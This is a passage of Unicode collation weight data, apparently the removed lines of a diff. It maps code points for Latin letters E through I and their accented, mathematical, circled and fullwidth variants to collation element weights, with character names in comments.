-0118  ; [.1C25.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER E WITH OGONEK
-0113  ; [.1C25.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON
-0112  ; [.1C25.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON
-1E17  ; [.1C25.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH MACRON AND ACUTE
-1E16  ; [.1C25.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH MACRON AND ACUTE
-1E15  ; [.1C25.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH MACRON AND GRAVE
-1E14  ; [.1C25.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH MACRON AND GRAVE
-1EBB  ; [.1C25.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH HOOK ABOVE
-1EBA  ; [.1C25.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH HOOK ABOVE
-0205  ; [.1C25.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER E WITH DOUBLE GRAVE
-0204  ; [.1C25.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER E WITH DOUBLE GRAVE
-0207  ; [.1C25.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER E WITH INVERTED BREVE
-0206  ; [.1C25.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER E WITH INVERTED BREVE
-1EB9  ; [.1C25.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH DOT BELOW
-1EB8  ; [.1C25.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH DOT BELOW
-1EC7  ; [.1C25.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6  ; [.1C25.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1E19  ; [.1C25.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW
-1E18  ; [.1C25.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW
-1E1B  ; [.1C25.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER E WITH TILDE BELOW
-1E1A  ; [.1C25.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER E WITH TILDE BELOW
-32CD  ; [.1C25.0020.001C][.1DAE.0020.001C][.1C6F.0020.001C] # SQUARE ERG
-32CE  ; [.1C25.0020.001C][.1E5E.0020.001D] # SQUARE EV
-1D07  ; [.1C29.0020.0002] # LATIN LETTER SMALL CAPITAL E
-AB32  ; [.1C2A.0020.0002] # LATIN SMALL LETTER BLACKLETTER E
-AB33  ; [.1C2B.0020.0002] # LATIN SMALL LETTER BARRED E
-0247  ; [.1C2C.0020.0002] # LATIN SMALL LETTER E WITH STROKE
-0246  ; [.1C2C.0020.0008] # LATIN CAPITAL LETTER E WITH STROKE
-1D92  ; [.1C30.0020.0002] # LATIN SMALL LETTER E WITH RETROFLEX HOOK
-AB34  ; [.1C31.0020.0002] # LATIN SMALL LETTER E WITH FLOURISH
-2C78  ; [.1C32.0020.0002] # LATIN SMALL LETTER E WITH NOTCH
-01DD  ; [.1C33.0020.0002] # LATIN SMALL LETTER TURNED E
-018E  ; [.1C33.0020.0008] # LATIN CAPITAL LETTER REVERSED E
-1D32  ; [.1C33.0020.001D] # MODIFIER LETTER CAPITAL REVERSED E
-2C7B  ; [.1C37.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED E
-0259  ; [.1C38.0020.0002] # LATIN SMALL LETTER SCHWA
-1DEA  ; [.1C38.0020.0004] # COMBINING LATIN SMALL LETTER SCHWA
-018F  ; [.1C38.0020.0008] # LATIN CAPITAL LETTER SCHWA
-1D4A  ; [.1C38.0020.0014] # MODIFIER LETTER SMALL SCHWA
-2094  ; [.1C38.0020.0015] # LATIN SUBSCRIPT SMALL LETTER SCHWA
-1D95  ; [.1C3C.0020.0002] # LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK
-025B  ; [.1C3D.0020.0002] # LATIN SMALL LETTER OPEN E
-0190  ; [.1C3D.0020.0008] # LATIN CAPITAL LETTER OPEN E
-2107  ; [.1C3D.0020.000A] # EULER CONSTANT
-1D4B  ; [.1C3D.0020.0014] # MODIFIER LETTER SMALL OPEN E
-1D93  ; [.1C41.0020.0002] # LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK
-0258  ; [.1C42.0020.0002] # LATIN SMALL LETTER REVERSED E
-025A  ; [.1C46.0020.0002] # LATIN SMALL LETTER SCHWA WITH HOOK
-025C  ; [.1C4A.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E
-A7AB  ; [.1C4A.0020.0008] # LATIN CAPITAL LETTER REVERSED OPEN E
-1D9F  ; [.1C4A.0020.0014] # MODIFIER LETTER SMALL REVERSED OPEN E
-1D94  ; [.1C4E.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK
-1D08  ; [.1C4F.0020.0002] # LATIN SMALL LETTER TURNED OPEN E
-1D4C  ; [.1C4F.0020.0014] # MODIFIER LETTER SMALL TURNED OPEN E
-025D  ; [.1C50.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH HOOK
-025E  ; [.1C54.0020.0002] # LATIN SMALL LETTER CLOSED REVERSED OPEN E
-029A  ; [.1C58.0020.0002] # LATIN SMALL LETTER CLOSED OPEN E
-0264  ; [.1C5C.0020.0002] # LATIN SMALL LETTER RAMS HORN
-0066  ; [.1C60.0020.0002] # LATIN SMALL LETTER F
-FF46  ; [.1C60.0020.0003] # FULLWIDTH LATIN SMALL LETTER F
-1DEB  ; [.1C60.0020.0004] # COMBINING LATIN SMALL LETTER F
-24A1  ; [*0310.0020.0004][.1C60.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER F
-1D41F ; [.1C60.0020.0005] # MATHEMATICAL BOLD SMALL F
-1D453 ; [.1C60.0020.0005] # MATHEMATICAL ITALIC SMALL F
-1D487 ; [.1C60.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL F
-1D4BB ; [.1C60.0020.0005] # MATHEMATICAL SCRIPT SMALL F
-1D4EF ; [.1C60.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL F
-1D523 ; [.1C60.0020.0005] # MATHEMATICAL FRAKTUR SMALL F
-1D557 ; [.1C60.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL F
-1D58B ; [.1C60.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL F
-1D5BF ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF SMALL F
-1D5F3 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL F
-1D627 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL F
-1D65B ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL F
-1D68F ; [.1C60.0020.0005] # MATHEMATICAL MONOSPACE SMALL F
-24D5  ; [.1C60.0020.0006] # CIRCLED LATIN SMALL LETTER F
-0046  ; [.1C60.0020.0008] # LATIN CAPITAL LETTER F
-FF26  ; [.1C60.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER F
-2109  ; [*04D7.0020.0004][.1C60.0020.000A] # DEGREE FAHRENHEIT
-1F115 ; [*0310.0020.0004][.1C60.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER F
-2131  ; [.1C60.0020.000B] # SCRIPT CAPITAL F
-1D405 ; [.1C60.0020.000B] # MATHEMATICAL BOLD CAPITAL F
-1D439 ; [.1C60.0020.000B] # MATHEMATICAL ITALIC CAPITAL F
-1D46D ; [.1C60.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL F
-1D4D5 ; [.1C60.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL F
-1D509 ; [.1C60.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL F
-1D53D ; [.1C60.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL F
-1D571 ; [.1C60.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL F
-1D5A5 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL F
-1D5D9 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL F
-1D60D ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL F
-1D641 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL F
-1D675 ; [.1C60.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL F
-24BB  ; [.1C60.0020.000C] # CIRCLED LATIN CAPITAL LETTER F
-1F155 ; [.1C60.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER F
-1DA0  ; [.1C60.0020.0014] # MODIFIER LETTER SMALL F
-1F135 ; [.1C60.0020.001D] # SQUARED LATIN CAPITAL LETTER F
-1F175 ; [.1C60.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER F
-1E1F  ; [.1C60.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER F WITH DOT ABOVE
-1E1E  ; [.1C60.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER F WITH DOT ABOVE
-A77C  ; [.1C60.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR F
-A77B  ; [.1C60.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR F
-213B  ; [.1C60.0020.000A][.1BC2.0020.000A][.1E7A.0020.000A] # FACSIMILE SIGN
-FB00  ; [.1C60.0020.0004][.1C60.0020.0004] # LATIN SMALL LIGATURE FF
-FB03  ; [.1C60.0020.0004][.1C60.0020.0004][.1CAD.0020.0004] # LATIN SMALL LIGATURE FFI
-FB04  ; [.1C60.0020.0004][.1C60.0020.0004][.1CF2.0020.0004] # LATIN SMALL LIGATURE FFL
-FB01  ; [.1C60.0020.0004][.1CAD.0020.0004] # LATIN SMALL LIGATURE FI
-FB02  ; [.1C60.0020.0004][.1CF2.0020.0004] # LATIN SMALL LIGATURE FL
-3399  ; [.1C60.0020.001C][.1D25.0020.001C] # SQUARE FM
-02A9  ; [.1C60.0020.0004][.1D53.0020.0004] # LATIN SMALL LETTER FENG DIGRAPH
-1F193 ; [.1C60.0020.001D][.1DAE.0020.001D][.1C25.0020.001D][.1C25.0020.001D] # SQUARED FREE
-A730  ; [.1C64.0020.0002] # LATIN LETTER SMALL CAPITAL F
-AB35  ; [.1C65.0020.0002] # LATIN SMALL LETTER LENIS F
-A799  ; [.1C66.0020.0002] # LATIN SMALL LETTER F WITH STROKE
-A798  ; [.1C66.0020.0008] # LATIN CAPITAL LETTER F WITH STROKE
-1D6E  ; [.1C67.0020.0002] # LATIN SMALL LETTER F WITH MIDDLE TILDE
-1D82  ; [.1C68.0020.0002] # LATIN SMALL LETTER F WITH PALATAL HOOK
-0192  ; [.1C69.0020.0002] # LATIN SMALL LETTER F WITH HOOK
-0191  ; [.1C69.0020.0008] # LATIN CAPITAL LETTER F WITH HOOK
-214E  ; [.1C6D.0020.0002] # TURNED SMALL F
-2132  ; [.1C6D.0020.0008] # TURNED CAPITAL F
-A7FB  ; [.1C6E.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED F
-0067  ; [.1C6F.0020.0002] # LATIN SMALL LETTER G
-FF47  ; [.1C6F.0020.0003] # FULLWIDTH LATIN SMALL LETTER G
-1DDA  ; [.1C6F.0020.0004] # COMBINING LATIN SMALL LETTER G
-24A2  ; [*0310.0020.0004][.1C6F.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER G
-210A  ; [.1C6F.0020.0005] # SCRIPT SMALL G
-1D420 ; [.1C6F.0020.0005] # MATHEMATICAL BOLD SMALL G
-1D454 ; [.1C6F.0020.0005] # MATHEMATICAL ITALIC SMALL G
-1D488 ; [.1C6F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL G
-1D4F0 ; [.1C6F.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL G
-1D524 ; [.1C6F.0020.0005] # MATHEMATICAL FRAKTUR SMALL G
-1D558 ; [.1C6F.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL G
-1D58C ; [.1C6F.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL G
-1D5C0 ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF SMALL G
-1D5F4 ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL G
-1D628 ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL G
-1D65C ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL G
-1D690 ; [.1C6F.0020.0005] # MATHEMATICAL MONOSPACE SMALL G
-24D6  ; [.1C6F.0020.0006] # CIRCLED LATIN SMALL LETTER G
-0047  ; [.1C6F.0020.0008] # LATIN CAPITAL LETTER G
-FF27  ; [.1C6F.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER G
-1F116 ; [*0310.0020.0004][.1C6F.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER G
-1D406 ; [.1C6F.0020.000B] # MATHEMATICAL BOLD CAPITAL G
-1D43A ; [.1C6F.0020.000B] # MATHEMATICAL ITALIC CAPITAL G
-1D46E ; [.1C6F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL G
-1D4A2 ; [.1C6F.0020.000B] # MATHEMATICAL SCRIPT CAPITAL G
-1D4D6 ; [.1C6F.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL G
-1D50A ; [.1C6F.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL G
-1D53E ; [.1C6F.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL G
-1D572 ; [.1C6F.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL G
-1D5A6 ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL G
-1D5DA ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL G
-1D60E ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL G
-1D642 ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL G
-1D676 ; [.1C6F.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL G
-24BC  ; [.1C6F.0020.000C] # CIRCLED LATIN CAPITAL LETTER G
-1F156 ; [.1C6F.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER G
-1D4D  ; [.1C6F.0020.0014] # MODIFIER LETTER SMALL G
-1D33  ; [.1C6F.0020.001D] # MODIFIER LETTER CAPITAL G
-1F136 ; [.1C6F.0020.001D] # SQUARED LATIN CAPITAL LETTER G
-1F176 ; [.1C6F.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER G
-01F5  ; [.1C6F.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER G WITH ACUTE
-01F4  ; [.1C6F.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER G WITH ACUTE
-011F  ; [.1C6F.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER G WITH BREVE
-011E  ; [.1C6F.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER G WITH BREVE
-011D  ; [.1C6F.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX
-011C  ; [.1C6F.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX
-01E7  ; [.1C6F.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER G WITH CARON
-01E6  ; [.1C6F.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER G WITH CARON
-0121  ; [.1C6F.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER G WITH DOT ABOVE
-0120  ; [.1C6F.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER G WITH DOT ABOVE
-0123  ; [.1C6F.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER G WITH CEDILLA
-0122  ; [.1C6F.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER G WITH CEDILLA
-1E21  ; [.1C6F.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER G WITH MACRON
-1E20  ; [.1C6F.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER G WITH MACRON
-A7A1  ; [.1C6F.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER G WITH OBLIQUE STROKE
-A7A0  ; [.1C6F.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER G WITH OBLIQUE STROKE
-1D79  ; [.1C6F.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR G
-A77D  ; [.1C6F.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR G
-33FF  ; [.1C6F.0020.001C][.1BC2.0020.001C][.1CF2.0020.001C] # SQUARE GAL
-3387  ; [.1C6F.0020.001D][.1BDB.0020.001D] # SQUARE GB
-3393  ; [.1C6F.0020.001D][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE GHZ
-33AC  ; [.1C6F.0020.001D][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE GPA
-33C9  ; [.1C6F.0020.001D][.1E86.0020.001C] # SQUARE GY
-0261  ; [.1C73.0020.0002] # LATIN SMALL LETTER SCRIPT G
-A7AC  ; [.1C73.0020.0008] # LATIN CAPITAL LETTER SCRIPT G
-1DA2  ; [.1C73.0020.0014] # MODIFIER LETTER SMALL SCRIPT G
-AB36  ; [.1C77.0020.0002] # LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL
-0262  ; [.1C78.0020.0002] # LATIN LETTER SMALL CAPITAL G
-1DDB  ; [.1C78.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL G
-01E5  ; [.1C7C.0020.0002] # LATIN SMALL LETTER G WITH STROKE
-01E4  ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER G WITH STROKE
-1D83  ; [.1C80.0020.0002] # LATIN SMALL LETTER G WITH PALATAL HOOK
-0260  ; [.1C81.0020.0002] # LATIN SMALL LETTER G WITH HOOK
-0193  ; [.1C81.0020.0008] # LATIN CAPITAL LETTER G WITH HOOK
-029B  ; [.1C85.0020.0002] # LATIN LETTER SMALL CAPITAL G WITH HOOK
-1D77  ; [.1C89.0020.0002] # LATIN SMALL LETTER TURNED G
-A77F  ; [.1C8A.0020.0002] # LATIN SMALL LETTER TURNED INSULAR G
-A77E  ; [.1C8A.0020.0008] # LATIN CAPITAL LETTER TURNED INSULAR G
-0263  ; [.1C8B.0020.0002] # LATIN SMALL LETTER GAMMA
-0194  ; [.1C8B.0020.0008] # LATIN CAPITAL LETTER GAMMA
-02E0  ; [.1C8B.0020.0014] # MODIFIER LETTER SMALL GAMMA
-01A3  ; [.1C8F.0020.0002] # LATIN SMALL LETTER OI
-01A2  ; [.1C8F.0020.0008] # LATIN CAPITAL LETTER OI
-0068  ; [.1C93.0020.0002] # LATIN SMALL LETTER H
-FF48  ; [.1C93.0020.0003] # FULLWIDTH LATIN SMALL LETTER H
-036A  ; [.1C93.0020.0004] # COMBINING LATIN SMALL LETTER H
-24A3  ; [*0310.0020.0004][.1C93.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER H
-210E  ; [.1C93.0020.0005] # PLANCK CONSTANT
-1D421 ; [.1C93.0020.0005] # MATHEMATICAL BOLD SMALL H
-1D489 ; [.1C93.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL H
-1D4BD ; [.1C93.0020.0005] # MATHEMATICAL SCRIPT SMALL H
-1D4F1 ; [.1C93.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL H
-1D525 ; [.1C93.0020.0005] # MATHEMATICAL FRAKTUR SMALL H
-1D559 ; [.1C93.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL H
-1D58D ; [.1C93.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL H
-1D5C1 ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF SMALL H
-1D5F5 ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL H
-1D629 ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL H
-1D65D ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL H
-1D691 ; [.1C93.0020.0005] # MATHEMATICAL MONOSPACE SMALL H
-24D7  ; [.1C93.0020.0006] # CIRCLED LATIN SMALL LETTER H
-0048  ; [.1C93.0020.0008] # LATIN CAPITAL LETTER H
-FF28  ; [.1C93.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER H
-1F117 ; [*0310.0020.0004][.1C93.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER H
-210B  ; [.1C93.0020.000B] # SCRIPT CAPITAL H
-210C  ; [.1C93.0020.000B] # BLACK-LETTER CAPITAL H
-210D  ; [.1C93.0020.000B] # DOUBLE-STRUCK CAPITAL H
-1D407 ; [.1C93.0020.000B] # MATHEMATICAL BOLD CAPITAL H
-1D43B ; [.1C93.0020.000B] # MATHEMATICAL ITALIC CAPITAL H
-1D46F ; [.1C93.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL H
-1D4D7 ; [.1C93.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL H
-1D573 ; [.1C93.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL H
-1D5A7 ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL H
-1D5DB ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL H
-1D60F ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL H
-1D643 ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL H
-1D677 ; [.1C93.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL H
-24BD  ; [.1C93.0020.000C] # CIRCLED LATIN CAPITAL LETTER H
-1F157 ; [.1C93.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER H
-02B0  ; [.1C93.0020.0014] # MODIFIER LETTER SMALL H
-2095  ; [.1C93.0020.0015] # LATIN SUBSCRIPT SMALL LETTER H
-1D34  ; [.1C93.0020.001D] # MODIFIER LETTER CAPITAL H
-1F137 ; [.1C93.0020.001D] # SQUARED LATIN CAPITAL LETTER H
-1F177 ; [.1C93.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER H
-0125  ; [.1C93.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX
-0124  ; [.1C93.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX
-021F  ; [.1C93.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER H WITH CARON
-021E  ; [.1C93.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER H WITH CARON
-1E27  ; [.1C93.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER H WITH DIAERESIS
-1E26  ; [.1C93.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER H WITH DIAERESIS
-1E23  ; [.1C93.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER H WITH DOT ABOVE
-1E22  ; [.1C93.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER H WITH DOT ABOVE
-1E29  ; [.1C93.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER H WITH CEDILLA
-1E28  ; [.1C93.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER H WITH CEDILLA
-0127  ; [.1C93.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER H WITH STROKE
-210F  ; [.1C93.0020.0002][.0000.0039.0002] # PLANCK CONSTANT OVER TWO PI
-0126  ; [.1C93.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER H WITH STROKE
-A7F8  ; [.1C93.0020.0014][.0000.0039.0014] # MODIFIER LETTER CAPITAL H WITH STROKE
-1E25  ; [.1C93.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER H WITH DOT BELOW
-1E24  ; [.1C93.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER H WITH DOT BELOW
-1E2B  ; [.1C93.0020.0002][.0000.0047.0002] # LATIN SMALL LETTER H WITH BREVE BELOW
-1E2A  ; [.1C93.0020.0008][.0000.0047.0002] # LATIN CAPITAL LETTER H WITH BREVE BELOW
-1E96  ; [.1C93.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER H WITH LINE BELOW
-33CA  ; [.1C93.0020.001C][.1BC2.0020.001C] # SQUARE HA
-32CC  ; [.1C93.0020.001D][.1C6F.0020.001C] # SQUARE HG
-33CB  ; [.1C93.0020.001D][.1D87.0020.001D] # SQUARE HP
-3371  ; [.1C93.0020.001C][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE HPA
-1F14A ; [.1C93.0020.001D][.1E5E.0020.001D] # SQUARED HV
-3390  ; [.1C93.0020.001D][.1E9C.0020.001C] # SQUARE HZ
-029C  ; [.1C97.0020.0002] # LATIN LETTER SMALL CAPITAL H
-0195  ; [.1C9B.0020.0002] # LATIN SMALL LETTER HV
-01F6  ; [.1C9B.0020.0008] # LATIN CAPITAL LETTER HWAIR
-A795  ; [.1C9F.0020.0002] # LATIN SMALL LETTER H WITH PALATAL HOOK
-0266  ; [.1CA0.0020.0002] # LATIN SMALL LETTER H WITH HOOK
-A7AA  ; [.1CA0.0020.0008] # LATIN CAPITAL LETTER H WITH HOOK
-02B1  ; [.1CA0.0020.0014] # MODIFIER LETTER SMALL H WITH HOOK
-2C68  ; [.1CA4.0020.0002] # LATIN SMALL LETTER H WITH DESCENDER
-2C67  ; [.1CA4.0020.0008] # LATIN CAPITAL LETTER H WITH DESCENDER
-2C76  ; [.1CA5.0020.0002] # LATIN SMALL LETTER HALF H
-2C75  ; [.1CA5.0020.0008] # LATIN CAPITAL LETTER HALF H
-A727  ; [.1CA6.0020.0002] # LATIN SMALL LETTER HENG
-A726  ; [.1CA6.0020.0008] # LATIN CAPITAL LETTER HENG
-AB5C  ; [.1CA6.0020.0014] # MODIFIER LETTER SMALL HENG
-0267  ; [.1CA7.0020.0002] # LATIN SMALL LETTER HENG WITH HOOK
-02BB  ; [.1CAB.0020.0002] # MODIFIER LETTER TURNED COMMA
-02BD  ; [.1CAC.0020.0002] # MODIFIER LETTER REVERSED COMMA
-0069  ; [.1CAD.0020.0002] # LATIN SMALL LETTER I
-FF49  ; [.1CAD.0020.0003] # FULLWIDTH LATIN SMALL LETTER I
-0365  ; [.1CAD.0020.0004] # COMBINING LATIN SMALL LETTER I
-2170  ; [.1CAD.0020.0004] # SMALL ROMAN NUMERAL ONE
-24A4  ; [*0310.0020.0004][.1CAD.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER I
-2139  ; [.1CAD.0020.0005] # INFORMATION SOURCE
-2148  ; [.1CAD.0020.0005] # DOUBLE-STRUCK ITALIC SMALL I
-1D422 ; [.1CAD.0020.0005] # MATHEMATICAL BOLD SMALL I
-1D456 ; [.1CAD.0020.0005] # MATHEMATICAL ITALIC SMALL I
-1D48A ; [.1CAD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL I
-1D4BE ; [.1CAD.0020.0005] # MATHEMATICAL SCRIPT SMALL I
-1D4F2 ; [.1CAD.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL I
-1D526 ; [.1CAD.0020.0005] # MATHEMATICAL FRAKTUR SMALL I
-1D55A ; [.1CAD.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL I
-1D58E ; [.1CAD.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL I
-1D5C2 ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF SMALL I
-1D5F6 ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL I
-1D62A ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL I
-1D65E ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL I
-1D692 ; [.1CAD.0020.0005] # MATHEMATICAL MONOSPACE SMALL I
-24D8  ; [.1CAD.0020.0006] # CIRCLED LATIN SMALL LETTER I
-0049  ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I
-FF29  ; [.1CAD.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER I
-2160  ; [.1CAD.0020.000A] # ROMAN NUMERAL ONE
-1F118 ; [*0310.0020.0004][.1CAD.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER I
-2110  ; [.1CAD.0020.000B] # SCRIPT CAPITAL I
-2111  ; [.1CAD.0020.000B] # BLACK-LETTER CAPITAL I
-1D408 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD CAPITAL I
-1D43C ; [.1CAD.0020.000B] # MATHEMATICAL ITALIC CAPITAL I
-1D470 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL I
-1D4D8 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL I
-1D540 ; [.1CAD.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL I
-1D574 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL I
